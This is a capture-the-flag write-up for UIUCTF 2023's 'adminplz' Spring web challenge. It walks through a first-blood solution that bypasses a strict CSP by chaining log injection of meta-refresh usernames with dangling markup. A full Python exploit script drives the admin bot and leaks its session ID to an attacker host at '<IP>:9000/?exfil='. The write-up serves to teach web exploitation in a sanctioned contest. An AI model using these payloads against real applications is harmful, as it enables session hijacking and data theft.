Introduction

This was a web challenge in UIUCTF 2023. The intended way was more misc than web, so I decided to write down the path I took to cheese it and take first blood.

Challenge

We were given the source of a spring project, with only a few endpoints:

@SpringBootApplication
@RestController
public class AdminApplication {
    private static final Logger logger
            = LoggerFactory.getLogger(AdminApplication.class);
    private static String ADMIN_PASSWORD;
    private static ApplicationContext app;

    public static void main(String[] args) {
        app = SpringApplication.run(AdminApplication.class, args);
        ADMIN_PASSWORD = System.getenv("ADMIN_PASSWORD");
    }

    @PostMapping(path = "/login", consumes = {MediaType.APPLICATION_FORM_URLENCODED_VALUE})
    public String login(HttpSession session, User user) {
        if (user.getUsername().equals("admin") && !user.getPassword().equals(ADMIN_PASSWORD)) {
            return "not allowed";
        }
        session.setAttribute("user", user);
        return "logged in";
    }

    public boolean isAdmin(HttpServletRequest req, HttpSession session) {
        return req.getRemoteAddr().equals("127.0.0.1") || (
                isLoggedIn(session) && ((User) session.getAttribute("user")).getUsername().equals("admin")
        );
    }

    public boolean isLoggedIn(HttpSession session) {
        return session.getAttribute("user") != null;
    }

    long lastBotRun = 0;

    @PostMapping(path = "/report", consumes = {MediaType.APPLICATION_FORM_URLENCODED_VALUE})
    public String report(String url) throws IOException {
        if (url == null || !(url.startsWith("http://") || url.startsWith("https://")))
            return "invalid url";

        long time = System.currentTimeMillis();
        if (time - lastBotRun < 300000) {
            return "too soon! (please wait 5min)";
        }
        lastBotRun = time;

        Runtime.getRuntime().exec(new String[]{"node", "bot.js", url});
        return "an admin will check your url!";
    }

    @GetMapping("/")
    public Resource index(HttpServletRequest req) {
        return app.getResource("index.html");
    }

    @GetMapping("/admin")
    public Resource admin(HttpServletRequest req, HttpSession session, @RequestParam String view) {
        if (isLoggedIn(session) && view.contains("flag")) {
            logger.warn("user {} [{}] attempted to access restricted view", ((User) session.getAttribute("user")).getUsername(), session.getId());
        }
        return app.getResource(isAdmin(req, session) ? view : "error.html");
    }
}

There is an obvious (blind) arbitrary file read vulnerability and the goal is to make isAdmin() evaluate to true, so we can read the flag. One can see, that unauthorized attempts to read files are logged and that the username and session ID will get exposed.

The application also defined a CSP:

@Component
public class CSP implements Filter {
    @Override
    public void doFilter(ServletRequest request,
                         ServletResponse response,
                         FilterChain chain) throws ServletException, IOException {
        ((HttpServletResponse) response).addHeader("Content-Security-Policy", "default-src 'none';");
        chain.doFilter(request, response);
    }
}

The policy is pretty strict, but we can use dangling markup together with the log injection to bypass it and leak the flag. The exploit can be split into the following parts:

  • Report /step0
  • When the bot visit /step0, we will create a user with the name: <meta http-equiv="refresh" content='8;URL=http://<IP>:9002/step1'> and trigger a log entry through requesting (from the same session) /admin?view=file:/flag.html. The logged username will be written to /var/log/adminplz/latest.log.
  • We will then report /admin?view=file:/var/log/adminplz/latest.log, which redirects the bot to http://<IP>:9002/step1 after 8 seconds.
  • When the bot visit /step1, we first login as user <meta http-equiv="refresh" content='0;URL=http://<IP>:9000/?exfil= and trigger a log entry, similar to step 2. We then start a thread in background with 10 seconds delay, which will close the markup with '> and redirect the bot to http://127.0.0.1:8080/admin?view=file:/flag.html.
  • Reporting /admin?view=file:/var/log/adminplz/latest.log, will then leak the session ID.

The first three steps are mainly for debugging purposes.

Solver

from flask import *
import requests

from threading import Thread
from time import sleep

app = Flask(__name__)

base_url = "http://local:80"
base_url = "https://inst-3c3b5cabbd99902e.adminplz.chal.uiuc.tf"

sess = requests.Session()

sess.verify = False


def report(url):
    print(f"Reporting: {url}")
    sess.post(f"{base_url}/report", data={"url": url})


def send(payload):
    sess.post(f"{base_url}/login", data={"username": payload, "password": "x"})
    sess.get(f"{base_url}/admin?view=file:/flag.html")


def close_markup():
    sleep(10)
    send("'>")


@app.route("/step0")
def step0():
    payload0 = """
    <meta http-equiv="refresh" content='8;URL=http://<IP>:9002/step1'>
    """

    send(payload0)

    report("http://127.0.0.1:8080/admin?view=file:/var/log/adminplz/latest.log")

    return "Reported, should come in 8s"


@app.route("/step1")
def step1():
    url = "http://127.0.0.1:8080/admin?view=file:/flag.html"

    payload1 = """
    <meta http-equiv="refresh" content='0;URL=http://<IP>:9000/?exfil=
    """

    send(payload1)

    thread = Thread(target=close_markup)
    thread.start()

    return redirect(url, code=302)


app.run("0.0.0.0", port=9002, debug=True)